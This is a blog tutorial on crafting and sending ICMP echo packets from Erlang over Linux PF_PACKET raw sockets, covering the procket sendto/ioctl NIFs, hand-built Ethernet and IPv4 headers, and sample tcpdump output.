I've covered pinging other hosts before using the IPPROTO_ICMP protocol and raw sockets, all in Erlang.

Now I'd like to go through the exercise of sending ICMP echo packets using the Linux PF_PACKET interface. The process is somewhat tedious and complicated, so this post will reflect this, but it should be helpful since documentation for PF_PACKET tends to be a bit sparse.

Even if you're only interested in the PF_PACKET C interface, this tutorial should be helpful. But you'll have to read a bit and mentally censor the Erlang bits.

Erlang Binaries vs C structs

To provide a direct interface to sendto(), I've added an NIF interface for Erlang in procket.

The procket sendto() interface is system dependent, relying on the layout of your computer's struct sockaddr. struct sockaddr is typically constructed as follows:
struct sockaddr {
    sa_family_t     sa_family;      /* unsigned short int */
    char            sa_data[14];    /* buffer holding data, dependent on socket type */
}
The data held in the sa_data member of struct sockaddr varies based on the different socket types. For example, for a typical internet socket, a struct sockaddr_in socket address is used:
struct sockaddr_in {
    sa_family_t     sin_family;
    in_port_t       sin_port;
    struct          in_addr sin_addr;
    char            sin_zero[8];
}
Of course, these structures will vary by platform. On Linux, aside from a few inscrutable macros, the layout is similar to those shown above. BSD's, such as Mac OS X, add another structure member with the size of the structure:
u_int8_t sin_len
The appearance and placement of this attribute will cause a lot of portability problems for you if you need to get code running on different OS'es. And it's only natural, since in this tutorial we are bypassing the normal library interfaces.

So, just remember, PF_PACKET is pretty much a Linux specific interface, so we will be concentrating on the Linux eccentricities.

An Erlang Interface to sendto()


According the man page, sendto() takes the following arguments:
ssize_t sendto(
        int s,
        const void *buf,
        size_t len,
        int flags,
        const struct sockaddr *to,
        socklen_t tolen
        )
  • s is the file descriptor, representing the socket returned by open().
  • buf is the payload to be sent in the packet.
  • len is the size of the buffer in bytes.
  • flags is the result of OR'ing together integers which affects the behaviour of the socket. Typically, flags is set to 0.
  • struct sockaddr is a buffer based on the type of socket. It is cast to the "generic" sockaddr structure. Different types of socket addresses are, for example, sockaddr_in for Internet sockets, sockaddr_un for Unix (local) sockets and sockaddr_ll for link layer sockets. We'll be looking at sockaddr_in sockets in this section and sockaddr_ll sockets when investigating sending out packets using the PF_PACKET raw socket interface later on.
It's worth noting that
sendto(socket, buf, buflen, flags, NULL, 0)
is equivalent to
send()
and
sendto(socket, buf, buflen, 0, NULL, 0)
is equivelent to
write()
With a bit of tweaking (may have to change the procket NIF a bit), we'll be able to use the sendto() to do both send()'s and write()'s in the future (both can be used when the socket has been already been bound using bind()). The procket Erlang sendto/4 interface looks like this:
sendto(Socket, Packet, Flags, Sockaddr)
Where:
  • Socket is an integer returned from procket:open/1 representing the file descriptor.
  • Packet is a binary holding the packet payload.
  • Flags is the result of OR'ing the socket options. See the sendto() man page for the possible parameters.
  • Sockaddr is an Erlang binary representation of the sockaddr structure for the type of socket in use.

An Example of Using sendto/4

In the original example of sending an ICMP echo packet from Erlang, we (mis-)used gen_udp to send and receive ICMP packets. Here is an example of sending ICMP packets using the sendto/4 NIF: To send the ICMP packet using sendto/4, we must create the struct sockaddr_in as an Erlang binary. In linux/in.h, the structure is defined as:
struct sockaddr_in {
    sa_family_t     sin_family; /* Address family: 2 bytes */
    in_port_t       sin_port;   /* Port number: 2 bytes */
    struct in_addr  sin_addr;   /* Internet address: 4 bytes */

    /* Pad to size of `struct sockaddr'. */
    unsigned char   sin_zero[8];
};
Both sa_family_t and in_port_t are 2 bytes. The total size of the struct is 16 bytes. The Erlang binary used to represent this is:
<<
?PF_INET:16/native,             % sin_family
0:16,                           % sin_port
IP1:8, IP2:8, IP3:8, IP4:8,     % sin_addr
0:64                            % sin_zero
>>
  • The value of the PF_INET macro (or 2) is taken from bits/socket.h. The value of the different PF_* macros is always in native endian format.
  • Since we are sending an ICMP packet, the port has no meaning and is set to 0.
  • IP1 through IP4 refer to the components of an IPv4 address, represented in Erlang as a 4-tuple of bytes such as {192,168,10,1}.
  • The sin_zero member is always set to 8 zero'ed bytes.
The corresponding NIF function can be found in procket.c:
static ERL_NIF_TERM
nif_sendto(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int sockfd = -1;
    int flags = 0;

    ErlNifBinary buf;
    ErlNifBinary sa;


    if (!enif_get_int(env, argv[0], &sockfd))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[1], &buf))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[2], &flags))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[3], &sa))
        return enif_make_badarg(env);

    if (sendto(sockfd, buf.data, buf.size, flags, (struct sockaddr *)sa.data, sa.size) == -1)
        return enif_make_tuple(env, 2,
            atom_error,
            enif_make_tuple(env, 2,
            enif_make_int(env, errno),
            enif_make_string(env, strerror(errno), ERL_NIF_LATIN1)));

    return atom_ok;
}
The nif_sendto() function takes the Erlang binary and casts it to a sockaddr structure.

Tedium, or the Perils of Constructing Packets by Hand

When requesting a file descriptor using socket(), the PF_PACKET interface allows the user to construct either whole ethernet frames (using the SOCK_RAW type) or cooked packets to which the kernel will prepend ethernet headers (using the SOCK_DGRAM type). I had some problems with SOCK_DGRAM packets which I'll probably talk about in another blog post. But for now, I'll describe how to create ICMP echo packets using the PF_PACKET SOCK_RAW type. To get a file descriptor with the appropriate settings from procket:
{ok, FD} = procket:listen(0, [{protocol, 16#0008}, {type, raw}, {family, packet}])
Notice that, since I'm on a little endian platform, I byte swapped the defintion of ETH_P_IP to big endian format.

Retrieving the Interface Index

To figure out the index of our interface, we need to call an ioctl(). Conveniently, procket provides an NIF ioctl() interface. The C ioctl() interface is defined as:
int ioctl(int d, int request, ...);
  • d is the file descriptor.
  • request is an integer representing a device dependent instruction.
  • The remaining argument to ioctl() is usually a buffer holding a device dependent structure. In this case, we will pass an ifreq structure. The buffer acts as both the input and output for the ioctl.
struct ifreq, as defined in net/if.h, is composed of 2 unions.
struct ifreq
{
# define IFHWADDRLEN    6
# define IFNAMSIZ   IF_NAMESIZE
    union
    {
        char ifrn_name[IFNAMSIZ];   /* Interface name, e.g. "en0".  */
    } ifr_ifrn;

    union
    {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];  /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
    } ifr_ifru;
};
But to get the interface index, we're only interested in these struct members:
struct ifreq {
    char ifrn_name[16];
    int  ifr_ifindex;
}
# define ifr_name   ifr_ifrn.ifrn_name  /* interface name   */
# define ifr_ifindex    ifr_ifru.ifru_ivalue    /* interface index      */
In Erlang terms, we can pass in the full 32 byte structure (only 4 bytes of the second union is actually used). On input, if we are interested in using the "eth0" interface:
<<
"eth0", 96:0,   % ifrn_name, 16 bytes
0:128           % ifr_ifru union for the response, 16 bytes
>>
On output:
<<
"eth0", 96:0,   % ifrn_name, 16 bytes
Ifr:32,         % interface index
0:96            % unused
>>
So, to retrieve the value in Erlang:
{ok, <<_Ifname:16/bytes, Ifr:32, _/binary>>} = procket:ioctl(S,
    ?SIOCGIFINDEX,
    list_to_binary([
            Dev, <<0:((16*8) - (length(Dev)*8)), 0:128>>
        ])),
  • Dev is a list holding the device name, such as "eth0" or "ath0".
  • Ifr is the part of the binary holding the interface index returned by the ioctl().
The corresponding NIF function can be found in procket.c:
static ERL_NIF_TERM
nif_ioctl(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int s = -1;
    int req = 0;
    ErlNifBinary ifr;


    if (!enif_get_int(env, argv[0], &s))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[1], &req))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[2], &ifr))
        return enif_make_badarg(env);

    if (!enif_realloc_binary(env, &ifr, ifr.size))
        return enif_make_badarg(env);

    if (ioctl(s, req, ifr.data) < 0)
        return error_tuple(env, strerror(errno));

    return enif_make_tuple(env, 2,
            atom_ok,
            enif_make_binary(env, &ifr));
}
The nif_ioctl() function takes, as arguments, the socket descriptor and a binary buffer representing the ifreq structure. The binary is made writable, passed to ioctl() and returned to the caller.

Preparing the ICMP Packet

Unlike the other examples of sending an ICMP packet, we'll need to prepare more than the ICMP header and payload. Because we are sending directly out on the interface, we have to add the ethernet and IPv4 header.

Ethernet Header

The ethernet header is composed of 6 bytes each for the destination and source MAC addresses and two bytes for the ethernet type.
  • Destination MAC Address:48
  • Source MAC Address:48
  • Type:16
The list of ethernet types can be found in linux/if_ether.h. The Erlang specification for this message format would be (assuming the destination mac address is 00:aa:bb:cc:dd:ee and the source mac address is 00:11:22:33:44:55):
<<
16#00, 16#aa: 16#bb, 16#cc, 16#dd, 16#ee,   % destination MAC address
16#00, 16#11: 16#22, 16#33, 16#44, 16#55,   % source MAC address
16#08, 16#00                                % type: ETH_P_IP
>>

IPv4 Header

The IPv4 header is:
  • Version:4
  • IHL:4
  • ToS:8
  • Total Length:16
  • Identification:16
  • Flags:3
  • Fragment Offset:13
  • Time to Live:8
  • Protocol:8
  • Checksum:16
  • Source Address:32
  • Destination Address:32
I won't bother to explain each field. See RFC 791 for details. Constructing an Erlang IPv4 header involves declaring the header once with the checksum field set to zero, performing a checksum on the header, then incorporating the checksum in the 2 byte checksum field.
IPv4 = <<
4:4, 5:4, 0:8, 84:16,
Id:16, 0:1, 1:1, 0:1,
0:13, TTL:8, ?IPPROTO_ICMP:8, 0:16,
SA1:8, SA2:8, SA3:8, SA4:8,
DA1:8, DA2:8, DA3:8, DA4:8
>>.
  • Id is a hint for reconstructing fragmented packets by the receiving host.
  • IPPROTO_ICMP is a macro set to 1. The value is defined in netinet/in.h.
  • The checksum field is set to 0 for checksumming purposes. After the checksum has been calculated, the resulting value is placed in this field.
  • The TTL is set to 64. Packets with a time to live of 0 are discarded.
  • SA1 to SA4 are the bytes representing the IPv4 source address.
  • DA1 to DA4 are the bytes representing the IPv4 destination address.

ICMP Header

I won't go over constructing the ICMP header, since it's been covered here.

Finally Sending the Packet

We have a raw PF_PACKET socket, the index of the interface to use the sendto() operation and a binary representing the ICMP packet and payload. We have the pieces in place now to send out the ping. We could bind() the interface and then use write() or send() to push out packets. In this example, we'll specify the link layer socket address structure holding the routing information for each packet.
struct sockaddr_ll {
    unsigned short sll_family;   /* Always AF_PACKET */
    unsigned short sll_protocol; /* Physical layer protocol */
    int            sll_ifindex;  /* Interface number */
    unsigned short sll_hatype;   /* Header type */
    unsigned char  sll_pkttype;  /* Packet type */
    unsigned char  sll_halen;    /* Length of address */
    unsigned char  sll_addr[8];  /* Physical layer address */
};
  • sll_family is, as the comment says, always PF_PACKET in host endian format.
  • sll_protocol is usually either ETH_P_ALL or ETH_P_IP. It is passed in big endian format but is defined in the header file in host endian format. For many linux installs, this will be little endian, so it will need to be byte swapped.
  • sll_halen is the length of the physical layer address. Although there are up to 8 bytes allowed for for the physical layer address, only 6 bytes are used for ethernet.
<<
?PF_PACKET:16/native,   % sll_family: PF_PACKET
16#0:16,             % sll_protocol: Physical layer protocol, big endian
Interface:32/native,    % sll_ifindex: Interface number
0:16,                   % sll_hatype: Header type
0:8,                    % sll_pkttype: Packet type
0:8,                    % sll_halen: address length

0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address

0:8,                    % sll_addr[8]: physical layer address
0:8                     % sll_addr[8]: physical layer address
>>
From trial and error, only sll_ifindex needs to be set. Even the sll_family does not seem be required in this context, although the man page suggests it is required. (sll_halen and sll_addr values would otherwise be set to 6 for sll_halen and the first 6 bytes of sll_addr to the MAC address of the destination ethernet device.) The source and destination appear to be read directly from the ethernet header. The pkt module will construct an ethernet frame and send it on the network. The function interface is a bit cumbersome, forcing you to specify the MAC and IP address of both the source and destination, but allows spoofing packets from different IP/MAC combinations.
pkt:ping(
    {"eth0", {16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,213,213}},
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {192,168,213,1}}
).
The first argument is a 3-tuple representing the network interface, source MAC and IP address. The second argument is a 2-tuple representing the destination MAC and IP address. Looking at the output from tcpdump:
# tcpdump -n -s 0 -XX -i ath0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 65535 bytes
18:58:40.077600 IP 192.168.213.213 > 192.168.213.1: ICMP echo request, id 7338, seq 0, length 64
        0x0000:  0011 2233 4455 00aa bbcc ddee 0800 4500  ....>....Y.&..E.
        0x0010:  0054 1caa 4000 4001 f1d6 c0a8 d5d5 c0a8  .T..@.@.........
        0x0020:  d501 0800 ea06 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK
18:58:40.078464 IP 192.168.213.1 > 192.168.213.213: ICMP echo reply, id 7338, seq 0, length 64
        0x0000:  00aa bbcc ddee 0011 2233 4455 0800 4500  ...Y.&....>...E.
        0x0010:  0054 86ee 0000 4001 c792 c0a8 d501 c0a8  .T....@.........
        0x0020:  d5d5 0000 f206 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK